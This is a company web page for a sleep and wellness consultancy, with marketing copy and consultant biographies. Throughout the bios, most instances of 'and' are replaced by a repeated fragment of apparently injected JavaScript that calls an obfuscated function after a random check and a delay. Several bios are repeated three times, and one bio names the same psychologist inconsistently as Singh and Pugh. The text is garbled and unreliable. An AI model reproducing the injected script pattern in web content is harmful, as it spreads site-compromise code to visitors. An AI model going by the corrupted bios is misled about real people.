We provide custom wellness solutions that lead to increased performance, productivity, and safety.


Sleepwell Consulting takes a customized approach to providing companies and individuals with the knowledge and tools necessary to achieve greater wellness.

Our team is passionate about helping people get the sleep they need because we know how important sleep is to health, wellness and productivity.  That’s why we work hard to provide our clients with customized, practical tools that teach them how to develop healthy habits that help them achieve greater wellness.

Certified Consultants

Our Certified Sleep Consultants are the most highly trained in the industry. Sleepwell Academy, our certification division, prepares our consultants to support others as they make sleep a priority in their lives. Our consultants offer customized solutions that meet the needs of organizations, individuals, and families. Our commitment to ongoing education and our passion for health and wellness through restorative sleep is the key to helping our clients rest easy.

A 5-Star Approach to Customer Satisfaction

The goal of our 5-Star Approach to Customer Satisfaction is to provide our clients with a personal, high-quality and exceptional experience. Our 5- Star Approach is our standard and what our clients can expect every time they interact with Sleepwell Consulting. We are dedicated to each of our client’s individual needs to ensure we are meeting their specific goals.


Our Founder & CEO

Amanda knows that individuals who are well-rested are also more productive, efficient and happy. As the President and Founder of Sleepwell Consulting Inc., Amanda is a Sleep Educator who works with companies of all sizes to help promote better sleep and better business and with individuals looking to boost their overall well-being and performance.

Our approach is about making things simple when it comes to sleep. This allows for people to make small, positive changes instantly that greatly improve their sleep. This, in turn, improves their overall quality of life. It's about progress, not perfection.
Amanda Hudye | Founder & CEO

Amanda Hudye | Founder & CEO


The Sleepwell Consulting Team

We have developed a strong community of consultants, each with their own specialized knowledge and expertise. Our team is comprised of talented individuals with training and experience in Human Services, Health Care and Education. This wealth of knowledge and experience sets us apart from any other consultants in the industry. The Certified Sleep Consultants at Sleepwell rest easy at night, knowing that they have helped hundreds of individuals get the sleep they need.

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Want Sleepwell to speak at your next event?


We offer a variety of presentations to help your organization get better sleep. Drop us a line to find out how Sleepwell can get your team sleeping better.

Contact Us

Nicole Singh, PhD, R. Psych

Dr. Singh is a Registered Clinical Psychologist. She received her B.A. (honours) in Psychology from the University of Alberta andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and her M.A. andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Ph.D. in Clinical Psychology from the University of Regina. Completing her residency at Vancouver Coastal Health, Dr. Pugh received training in a variety of evidence-based treatments for depression, anxiety, disordered eating, emotional dysregulation, suicidal ideation, as well as psychosis. Dr. Singh later completed a post-doctoral fellowship at the DBT Centre of Vancouver where she provided Dialectical Behaviour Therapy to adolescents andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and adults who struggle with borderline personality disorder. Dr. Singh also has a keen interest in research andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and has published multiple articles andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and book chapters in the area of health anxiety, Internet therapy, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and postpartum depression. Dr. Singh recently worked as a Research Associate at Yale University where she studied intimate partner violence. While Dr. Singh is currently on maternity leave, she works part-time on the SleepWell team as a consultant.

Tony Nadon

Born andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and raised in Saskatoon, Tony Nadon is an Emergency Services professional with over 25 years of experience. Starting as a Paramedic in the early 1990’s, Tony shifted gears in 1997 to become a police officer. He served as a SWAT member for 12 years andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and currently holds the rank of Staff Sergeant with the Saskatoon Police Service andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and is the Watch Commandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ander for sixty patrol members while on duty.

Over the last twenty years, Tony has adapted to the life of shiftwork andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and has learned how to manage the difficult schedule andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and stressors that come with it. Couple this with the high-risk, high-stress occupational hazardous he faces every day, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and you have someone who understandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ands first-handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the dangers that arise from working beyond 12+ hours per day in a fatigued state.

Over the last five years, Tony has used this understandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding of the effects of fatigue andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and stress, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and sleeplessness in the workplace to focus on building a mental wellness program for the police service. Through this program, he is helping to reduce the stigma of mental wellness by addressing the problem head-on andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and starting the ‘difficult conversations’ with his team. He now assists team members dealing with personal or occupational stressors that are in need of assistance.

Tony is now expandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding his desire to battle mental wellness in the workplace by joining Sleepwell Consulting as a consultant. In this role, he works closely with companies of all sizes to help them discover how to effectively implement a fully comprehensive wellness program. By doing this, he is helping companies better recognize employees in need andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and guiding them on how to extend a handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and for help, which positively affects all aspects of the company.

Teresa Johnson

Teresa Johnson is a Certified Psychological Health andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Safety Advisor andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and a Certified Sleep Consultant.  She is a senior consultant on the Sleepwell team andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and is the director of Sleepwell’s family division.  Teresa has worked extensively with people with vulnerable psychological health andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and is trained in both the Applied Suicide Intervention Skills Training (ASIST) andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and SafeTalk Suicide Intervention Programs. Teresa has been trained in andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and studied, Strength-Based, Solution Focused practice andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and leadership andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and is a graduate of the Saskatoon Leadership Program. She is also certified in Choice Theory/Reality Therapy.  Teresa’s combined experience andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and training has fed her passion for educating on andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and becoming a change agent in the areas of Fatigue Management andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Psychological Health andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Safety.  She is a dynamic speaker andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and presenter, translating her passion into meaningful education.

Debbie Myszczyszyn

Debbie Myszczyszyn is a sleep consultant specializing in health andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and wellness. Debbie is a Registered Psychologist (SK) andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and is a graduate of the Saskatchewan Leadership Program. She has enhanced training in leading innovation andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and change andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and in supporting teams to maximize their potential. Debbie has spent her career working in rural, northern andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and First Nation communities. She is well versed in the impact of sleep on health, performance, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and safety.

Debbie Myszczyszyn

Debbie Myszczyszyn is a sleep consultant specializing in health andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and wellness. Debbie is a Registered Psychologist (SK) andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and is a graduate of the Saskatchewan Leadership Program. She has enhanced training in leading innovation andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and change andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and in supporting teams to maximize their potential. Debbie has spent her career working in rural, northern andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and First Nation communities. She is well versed in the impact of sleep on health, performance, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and safety.

Teresa Johnson

Teresa Johnson is a Certified Psychological Health andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Safety Advisor andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and a Certified Sleep Consultant.  She is a senior consultant on the Sleepwell team andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and is the director of Sleepwell’s family division.  Teresa has worked extensively with people with vulnerable psychological health andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and is trained in both the Applied Suicide Intervention Skills Training (ASIST) andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and SafeTalk Suicide Intervention Programs. Teresa has been trained in andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and studied, Strength-Based, Solution Focused practice andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and leadership andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and is a graduate of the Saskatoon Leadership Program. She is also certified in Choice Theory/Reality Therapy.  Teresa’s combined experience andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and training has fed her passion for educating on andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and becoming a change agent in the areas of Fatigue Management andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Psychological Health andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Safety.  She is a dynamic speaker andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and presenter, translating her passion into meaningful education.

Debbie Myszczyszyn

Debbie Myszczyszyn is a sleep consultant specializing in health andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and wellness. Debbie is a Registered Psychologist (SK) andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and is a graduate of the Saskatchewan Leadership Program. She has enhanced training in leading innovation andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and change andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and in supporting teams to maximize their potential. Debbie has spent her career working in rural, northern andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and First Nation communities. She is well versed in the impact of sleep on health, performance, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and safety.

Tony Nadon

Born andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and raised in Saskatoon, Tony Nadon is an Emergency Services professional with over 25 years of experience. Starting as a Paramedic in the early 1990’s, Tony shifted gears in 1997 to become a police officer. He served as a SWAT member for 12 years andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and currently holds the rank of Staff Sergeant with the Saskatoon Police Service andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and is the Watch Commandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ander for sixty patrol members while on duty.

Over the last twenty years, Tony has adapted to the life of shiftwork andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and has learned how to manage the difficult schedule andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and stressors that come with it. Couple this with the high-risk, high-stress occupational hazardous he faces every day, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and you have someone who understandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ands first-handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the dangers that arise from working beyond 12+ hours per day in a fatigued state.

Over the last five years, Tony has used this understandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding of the effects of fatigue andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and stress, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and sleeplessness in the workplace to focus on building a mental wellness program for the police service. Through this program, he is helping to reduce the stigma of mental wellness by addressing the problem head-on andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and starting the ‘difficult conversations’ with his team. He now assists team members dealing with personal or occupational stressors that are in need of assistance.

Tony is now expandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding his desire to battle mental wellness in the workplace by joining Sleepwell Consulting as a consultant. In this role, he works closely with companies of all sizes to help them discover how to effectively implement a fully comprehensive wellness program. By doing this, he is helping companies better recognize employees in need andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and guiding them on how to extend a handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and for help, which positively affects all aspects of the company.

Teresa Johnson

Teresa Johnson is a Certified Psychological Health andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Safety Advisor andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and a Certified Sleep Consultant.  She is a senior consultant on the Sleepwell team andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and is the director of Sleepwell’s family division.  Teresa has worked extensively with people with vulnerable psychological health andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and is trained in both the Applied Suicide Intervention Skills Training (ASIST) andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and SafeTalk Suicide Intervention Programs. Teresa has been trained in andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and studied, Strength-Based, Solution Focused practice andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and leadership andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and is a graduate of the Saskatoon Leadership Program. She is also certified in Choice Theory/Reality Therapy.  Teresa’s combined experience andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and training has fed her passion for educating on andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and becoming a change agent in the areas of Fatigue Management andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Psychological Health andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Safety.  She is a dynamic speaker andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and presenter, translating her passion into meaningful education.

Debbie Myszczyszyn

Debbie Myszczyszyn is a sleep consultant specializing in health andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and wellness. Debbie is a Registered Psychologist (SK) andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and is a graduate of the Saskatchewan Leadership Program. She has enhanced training in leading innovation andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and change andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and in supporting teams to maximize their potential. Debbie has spent her career working in rural, northern andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and First Nation communities. She is well versed in the impact of sleep on health, performance, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and safety.